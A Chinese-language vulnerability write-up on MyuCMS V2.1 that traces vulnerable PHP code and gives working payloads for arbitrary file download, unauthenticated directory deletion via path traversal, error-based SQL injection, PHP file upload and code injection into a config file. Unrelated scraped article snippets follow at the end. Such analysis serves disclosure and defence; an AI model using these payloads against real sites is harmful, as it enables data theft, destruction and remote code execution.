前言

在CNVD看到一个MyuCMS的一个任意文件删除漏洞。然后去搜了下这个CMS,发现官网公告显示在V2.2.3版本修复了CNVD提供的多处漏洞。

怀着好奇的心里,去CNVD搜了下这个CMS,结果发现V2.1版本存在多处高危漏洞。既然这样,就来分析下这些漏洞产生的原因和利用方式。

过程分析

MyuCMS_V2.1 基于 Thinkphp 5.0.24 开发。下载链接可以在官方社区找到。

前台任意文件下载

既然是文件下载,先在整个项目中搜索下 download 关键字,尝试看看能不能直接定位到关键代码。

通过搜索定位到 bbs 模块下的 Index 控制器的 download 方法。

download 方法接受三个参数,这三个参数我们是完全可控的,单从 download 这个方法来看,无任何参数内容限制,直接将 $url 和 $name 两个参数传递给了 Http 类的 download 方法来执行下载。

若 Http->download() 方法中还未对参数内容进行限制,便会造成任意文件下载漏洞。

接下来,我们跟进 Http->download() 方法。

  1. static public function download ($filename, $showname='',$content='',$expire=180) {
  2. if(is_file($filename)) { //判断 $filename 是否为文件
  3. $length = filesize($filename); // 获取 $filename 的文件大小
  4. }elseif($content != '') {
  5. $length = strlen($content);
  6. }else {
  7. throw_exception($filename.L('下载文件不存在!')); // 若文件不存在抛出异常
  8. }
  9. if(empty($showname)) {
  10. $showname = $filename; // $showname 为下载后文件的名称。若未设置则与被下载文件同名
  11. }
  12. $showname = basename($showname); //获取路径中的文件名部分
  13. if(!empty($filename)) {
  14. $type = mime_content_type($filename); //获取文件的MIME类型
  15. }else{
  16. $type = "application/octet-stream";
  17. }
  18. //发送Http Header信息 开始下载
  19. header("Pragma: public");
  20. header("Cache-control: max-age=".$expire);
  21. //header('Cache-Control: no-store, no-cache, must-revalidate');
  22. header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
  23. header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
  24. header("Content-Disposition: attachment; filename=".$showname);
  25. header("Content-Length: ".$length);
  26. header("Content-type: ".$type);
  27. header('Content-Encoding: none');
  28. header("Content-Transfer-Encoding: binary" );
  29. if($content == '' ) {
  30. readfile($filename); // 读取文件内容并输出,从而实现下载
  31. }else {
  32. echo($content);
  33. }
  34. exit();
  35. }

由如上代码我们可以看出,Http->download() 方法中同样未对传入的参数进行内容限制,只实现了下载的业务逻辑。

此处任意文件下载,结合 phar 反序列化,还可以造成任意文件删除和任意文件写入(仅linux下)。这两条反序列化利用链在先知和安全客上都已经有大佬分析的很好了,有兴趣的师傅直接看下面链接就行。

MyuCMS<=v2.2.1反序列化
ThinkPHP v5.0.x 反序列化利用链挖掘

Payload

所以,由此可以得出任意文件下载的payload。

  1. Payload: http://xxxxxxxxx/bbs/index/download?url=application/database.php&name=&local=1
  2. Payload: http://xxxxxxxxx/bbs/index/download?url=c:/windows/win.ini&name=&local=1

任意目录删除漏洞

在CNVD上看到的是任意文件删除。但我发现的是一个任意目录删除,并不能只删除单独一个文件。可能此处所说的任意文件删除就是MyuCMS<=v2.2.1反序列化此处分析的利用反序列化链来进行任意文件删除吧。

因为漏洞描述是任意文件删除,所以先全文搜索 unlink 函数,定位到存在文件删除功能的代码段。

定位到 application/common.php 中的 deleteun 函数

  1. function deleteun($dir_name)
  2. {
  3. $result = false;
  4. if (is_dir($dir_name)) { // 判断是否为目录
  5. if ($handle = opendir($dir_name)) { // 打开目录
  6. while (false !== ($item = readdir($handle))) { // 通过这个 while 遍历目录中的文件
  7. if ($item != '.' && $item != '..') {
  8. if (is_dir($dir_name . DS . $item)) { // 若遍历到的文件为子目录,则递归调用deleteun
  9. deleteun($dir_name . DS . $item);
  10. } else {
  11. unlink($dir_name . DS . $item); // 删除遍历到的文件
  12. }
  13. }
  14. }
  15. closedir($handle); // 关闭文件夹
  16. if (rmdir($dir_name)) { // 删除该目录
  17. $result = true;
  18. }
  19. }
  20. }
  21.  
  22. return $result;
  23. }

根据 deleteun 函数的实现代码来看,我们可以看到该函数中对传入的参数无任何限制。

然后在整个项目中搜索,看哪个文件中调用了 deleteun 函数。

发现总共三处两个文件调用了该函数,且这三处代码内容相同,只不过是传递给的 deleteun 函数的参数不同,我们可以判断出,这三处都可以触发任意目录删除漏洞。

这三处的不同之处在于。Muban.php 继承了 Common 类,在 Common 类中实现了对于是否已经登录的验证。实现代码如下。

  1. public function _initialize(){
  2. if(!session('usermail') || !session('kouling')){
  3. $this->error('请登录',url('login/index'));
  4. print s();
  5. }
  6.  
  7. }

而 Addons.php 继承自 AdminBase 类,且初始化时执行父类 AdminBase 的 _initialize() 方法,在 AdminBase 类中调用了父类 Controller 的 _initialize() 方法。而父类的 Controller 的 _initialize(); 方法的实现内容为空。

所以 Addons.php 在未登录的情况下也可以访问。这意味我们不需要登录后台也可以触发任意目录删除漏洞。

Payload

所以给出 Payload 如下,即可删除整个 install 目录

  1. Payload: http://xxxxxxxxx/admin/Addons/un?info=../install

SQL注入漏洞

在 CNVD 上的描述为,MyuCMS us***_xi***.html页面存在SQL注入漏洞

通过对整个项目文件的搜索,最终确定为 user_xiaoxi.html 文件。

该视图文件,对应的控制器为 application/bbs/controller/User.php 。显示消息为 User->xiaoxi() 方法。该方法中无用户可控参数。所以注入不可能在此方法中。

如图所示功能处可将未读消息更改为已读消息。同时我们抓包观察。未读消息为其他用户在登录用户发布的文章下留言所产生。

可以发现,该功能对应的路由地址,以及所提交的参数。我们找到路由地址对应的方法为 User->xiaoxidel() 代码如下

  1. public function xiaoxidel($ids)
  2. {
  3. if (!session('userid') || !session('username')) { // 进行登录判断
  4. $this->error('亲!请登录',url('bbs/login/index'));
  5. } else {
  6. if ($ids==0) { // 根据 ids 参数来判断执行的动作为标记消息还是删除消息
  7. $id = input('id'); // 通过input助手函数获取需要操作的消息对应的 id
  8. $data['open'] = 1;
  9. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) { // 此处第一个 where() 使用字符串条件时没有配合预处理机制,所以会直接将 id=$id 拼接到SQL语句中。从而造成了SQL语句可控,形成注入。此处可以进行DEBUG,看到最好的SQL语句是如何拼接的。
  10. return json(array('code' => 200, 'msg' => '标记已读成功'));
  11. } else {
  12. return json(array('code' => 0, 'msg' => '标记已读失败'));
  13. }
  14. }elseif ($ids==1){
  15. $id = input('id');
  16. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {
  17. return json(array('code' => 200, 'msg' => '彻底删除成功'));
  18. } else {
  19. return json(array('code' => 0, 'msg' => '彻底删除失败'));
  20. }
  21. }
  22. }
  23. }

上述代码中,where() 方法使用字符串条件,但并没有执行预编译。其实针对字符串条件,官方手册是做了说明的,显然这里没有遵守官方手册的意见,所以造成了SQL注入。

Payload

Payload如下

  1. Payload: id=2) and updatexml(1,concat(0x7e,(select database()),0x7e),1) and (1

在下图所示位置打上断点,即可查执行的SQL语句

文件上传漏洞

CNVD 上对应的标题为 myucms fo***.php页面存在文件上传漏洞

搜索项目中fo开头的文件,定位到 application/admin/controller/Forum.php 中的 doUploadPic 方法

  1. public function doUploadPic()
  2. {
  3. $file = request()->file('FileName');
  4. $info = $file->move(ROOT_PATH . DS . 'uploads');
  5. if($info){
  6. $path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
  7. echo str_replace("\\","/",$path);
  8. }
  9. }

可以看到上述代码调用了 Thinkphp 内置的 move 方法来对上传的文件进行处理。但是在调用 move 方法前未调用 validate() 方法来设置验证规则。以至于此处形成了任意文件上传漏洞。

Payload

根据 doUploadPic() 方法构建 Payload数据包 如下:

  1. POST /admin/forum/doUploadPic HTTP/1.1
  2. Host: www.myu.io
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Connection: close
  8. Content-Type: multipart/form-data; boundary=---------------------------18467633426500
  9. Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904
  10. Upgrade-Insecure-Requests: 1
  11. Content-Length: 206
  12. -----------------------------18467633426500
  13. Content-Disposition: form-data; name="FileName"; filename="1.php"
  14. Content-Type: image/jpeg
  15. <?php phpinfo(); ?>
  16. -----------------------------18467633426500--

命令执行

CNVD上没有说明存在的页面。我找到的是一处能控制 extre/web.php 内容的漏洞。

漏洞成因是使用 file_put_contents 函数更新 extre 下配置文件的内容时,未对参数内容做验证,而直接通过循环遍历,拼接到了php后缀的配置文件中。

相同原理漏洞影响3个文件共5处。分别为 application/admin/controller/Config.php, application/admin/controller/Muban.php ,application/admin/controller/Point.php

此处以 application/admin/controller/Config.php 下的 add() 方法为例分析

  1. public function add()
  2. {
  3. $path = 'application/extra/web.php';
  4. $file = include $path; // $file 的内容为 web.php 中返回的配置数组的值
  5. $config = array( // 读取 post 中提交的配置内容
  6. 'WEB_RXT' => input('WEB_RXT'),
  7. 'WEB_GL' => input('WEB_GL'),
  8. 'WEB_REG' => input('WEB_REG'),
  9. 'WEB_TAG' => input('WEB_TAG'),
  10. 'WEB_OPE' => input('WEB_OPE'),
  11. 'WEB_BUG' => input('WEB_BUG'),
  12. 'WEB_BBS' => input('WEB_BBS'),
  13. 'WEB_SHOP' => input('WEB_SHOP'),
  14. 'WEB_INDEX' => input('WEB_INDEX'),
  15. 'WEB_KEJIAN' => input('WEB_KEJIAN'),
  16. 'WEB_KEJIANS' => input('WEB_KEJIANS'),
  17. 'Cascade' => input('Cascade'),
  18. //七牛
  19. 'bucket' => input('bucket'),
  20. 'accessKey' => input('accessKey'),
  21. 'secrectKey' => input('secrectKey'),
  22. 'domain' => input('domain'),
  23. 'qiniuopen' => input('qiniuopen'),
  24. );
  25. $res = array_merge($file, $config); // 合并两个数组
  26. $str = '<?php return [';
  27. foreach ($res as $key => $value) { // 循环数组,生成新的配置内容
  28. $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
  29. }
  30. $str .= ']; ';
  31. if (file_put_contents($path, $str)) { // 将配置内容写入 web.php 文件
  32. return json(array('code' => 200, 'msg' => '修改成功'));
  33. } else {
  34. return json(array('code' => 0, 'msg' => '修改失败'));
  35. }
  36. }

Payload

Payload数据包如下:

  1. POST /admin/config/add.html HTTP/1.1
  2. Host: www.myu.io
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
  4. Accept: */*
  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  6. Accept-Encoding: gzip, deflate
  7. Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  8. X-Requested-With: XMLHttpRequest
  9. Content-Length: 327
  10. Origin: http://www.myu.io
  11. Connection: close
  12. Referer: http://www.myu.io/admin/config/index.html
  13. Cookie: PHPSESSID=l6ijpio06mqmhcdq654g63eq90; UM_distinctid=170343d2b4a291-0a4e487f247e62-4c302978-1fa400-170343d2b4b28f; CNZZDATA1277972876=1874892142-1581419669-%7C1581432904; XDEBUG_SESSION=XDEBUG_ECLIPSE
  14. WEB_KEJIAN=0&WEB_KEJIANS=0&WEB_INDEX=bbs',phpinfo(),'&WEB_RXT=rar,png,zip,jpg,gif,ico,7z&qiniuopen=0&secrectKey=0&accessKey=0&domain=0&bucket=0&Cascade=1&WEB_BUG=true&WEB_REG=1&WEB_OPE=1&WEB_GL=0&WEB_BBS=1&WEB_SHOP=1&WEB_TAG=%e6%8f%92%e4%bb%b6%2c%e5%bb%ba%e8%ae%ae%2c%e6%a8%a1%e6%9d%bf%2c%e7%ad%be%e5%88%b0%2c%e5%8f%8d%e9%a6%88

写入的内容和效果如下:

结束

限于水平有限,有些 CNVD 上有记录到的洞没分析到,望海涵。

MyuCMS_V2.1漏洞分析的更多相关文章

  1. Zabbix 漏洞分析

    之前看到Zabbix 出现SQL注入漏洞,自己来尝试分析. PS:我没找到3.0.3版本的 Zabbix ,暂用的是zabbix 2.2.0版本,如果有问题,请大牛指点. 0x00 Zabbix简介 ...

  2. PHPCMS \phpcms\modules\member\index.php 用户登陆SQL注入漏洞分析

    catalog . 漏洞描述 . 漏洞触发条件 . 漏洞影响范围 . 漏洞代码分析 . 防御方法 . 攻防思考 1. 漏洞描述2. 漏洞触发条件 0x1: POC http://localhost/p ...

  3. CVE-2016-0143 漏洞分析(2016.4)

    CVE-2016-0143漏洞分析 0x00 背景 4月20日,Nils Sommer在exploitdb上爆出了一枚新的Windows内核漏洞PoC.该漏洞影响所有版本的Windows操作系统,攻击 ...

  4. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  5. CVE-2014-1767 漏洞分析(2015.1)

    CVE-2014-1767 漏洞分析 1. 简介 该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中,存在着悬垂指针的问题.在特定情况下攻击者可以通过该悬垂指针造成内存的doubl ...

  6. CVE-2014-4115漏洞分析(2014.11)

    CVE-2014-4115漏洞分析 一.简介 该漏洞是由于Windows的Fastfat.sys组件在处理FAT32格式的硬盘分区存在问题.攻击者利用成功可导致权限提升. 影响的系统包括: Windo ...

  7. FFmpeg任意文件读取漏洞分析

    这次的漏洞实际上与之前曝出的一个 CVE 非常之类似,可以说是旧瓶装新酒,老树开新花. 之前漏洞的一篇分析文章: SSRF 和本地文件泄露(CVE-2016-1897/8)http://static. ...

  8. CVE-2016-10190 FFmpeg Http协议 heap buffer overflow漏洞分析及利用

    作者:栈长@蚂蚁金服巴斯光年安全实验室 -------- 1. 背景 FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器.转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具 ...

  9. Oracle漏洞分析(tns_auth_sesskey)

    p216 Oracle漏洞分析: 开启oracle: C:\oracle\product\\db_1\BIN\sqlplus.exe /nolog conn sys/mima1234 as sysdb ...

随机推荐

  1. python文件打开模式&time&python第三方库

    r:以只读方式打开文件.文件的指针将会放在文件的开头.这是默认模式. w:打开一个文件只用于写入.如果该文件已存在则将其覆盖.如果该文件不存在,创建新文件. a:打开一个文件用于追加.如果该文件已存在 ...

  2. UTC/GMT/CST/RTC

    GMT:格林尼治标准时间,是指位于伦敦郊区的皇家格林尼治天文台的标准时间,因为本初子午线被定义在通过那里的经线.也就是零时区的时间. UTC:世界协调时间,是一个时间系统.可以理解为这个地球的标准时间 ...

  3. markdown区块

    Markdown 区块 Markdown 区块引用是在段落开头使用 > 符号 ,然后后面紧跟一个空格符号: > 区块引用 > 菜鸟教程 > 学的不仅是技术更是梦想 显示结果如下 ...

  4. Codeforces Round #618 E

    题意: 给你一个n的数组,你可以进行无数次,选择区间使得区间内的值相加,然后区间的所有的值变成平均值. 使得最后数组的字典序最小 思路: 最后的数组一定是单调递增的,只要它比之前的平均值数大,就不会操 ...

  5. dp(多重背包)

    有 NN 种物品和一个容量是 VV 的背包. 第 ii 种物品最多有 sisi 件,每件体积是 vivi ,价值是 wiwi . 求解将哪些物品装入背包,可使物品体积总和不超过背包容量,且价值总和最大 ...

  6. 关于this和base的区别

    一句话总结:在有冲突得时候,base和this能够进行区分,在没有冲突得时候,是一样得. 基于成员调用 基于构造方法 参考: http://www.cnblogs.com/reommmm/archiv ...

  7. ntpdate 设置时区(注意本地时区要设置正确)

    修改timezone sudo cp -a /usr/share/zoneinfo/Etc/GMT-8  /etc/localtime date -R   == 展示当前的timezone ntpda ...

  8. buuctf——facebook1

    分为注册和登陆两个页面 据大佬wp登陆页面又盲注,但我没测试 直接注册后登陆 注册后发现,会显示输入的url 根据目录扫描,发现robots.txt和flag.php robots.txt有源码备份 ...

  9. C++学会STL

    1.1 泛型程序设计简介 泛型程序设计,简单地说就是使用模板的程序设计法.将一些常用的数据结构(比如链表,数组,二叉树)和算法(比如排序,查找)写成模板,以后则不论数据结构里放的是什么对象,算法针对什 ...

  10. PHP中数字转为百分位,千分位,万分位。。。

    今天做项目中,需要将文章点击量显示在页面中,需求中给的是多少多少万,虽然不是什么难事,但做程序员这么久了,需要考虑的不再是简单的实现,而且有效率和快捷, 虽然PHP自带的函数有number_forma ...